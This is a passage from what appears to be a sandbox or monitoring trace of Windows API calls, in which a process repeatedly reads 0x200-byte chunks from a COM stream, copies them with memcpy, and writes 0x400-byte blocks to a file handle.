pv=0x10cdeb0*=0x11, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.525] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.525] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.525] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.525] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.525] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x5c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.526] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.526] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.526] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.526] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7f, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.526] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.526] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.526] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.526] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.526] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.526] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.526] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.526] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.526] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.526] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.526] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.526] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xb9, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.526] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.526] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x48, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.526] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.526] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.527] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.527] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.527] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.527] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.527] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.527] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.527] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.527] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.527] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.528] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.528] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.528] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x66, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.528] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.528] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x52, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.528] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.528] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.528] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.528] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.528] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.528] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xfe, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.528] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.528] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.528] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.528] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf5, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.528] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.528] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xe8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.528] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.528] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.528] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.528] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x59, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.528] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x50, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.529] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.529] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xd0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.529] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.529] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x66, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.529] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.529] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.529] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.529] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.529] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.529] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.530] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xd0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.530] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.530] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.530] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.530] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.530] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.530] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.530] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.530] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.530] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.530] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.530] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.530] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x7d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.530] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.530] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.530] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.530] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x10, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.530] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.530] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.530] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.530] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.531] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.531] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf4, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.531] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.531] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.531] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.531] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.531] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.531] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x42, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.531] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.531] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.531] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.531] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.531] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.531] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x45, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.531] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.531] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.531] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.531] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.532] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.532] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x11, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.532] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.532] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xd2, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.532] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.532] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.532] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.532] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x40, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.532] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.532] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.532] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.532] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.532] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.532] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x55, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.532] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.532] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xf4, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.532] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.533] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.533] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.533] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.533] memcpy (in: _Dst=0x37b04df, 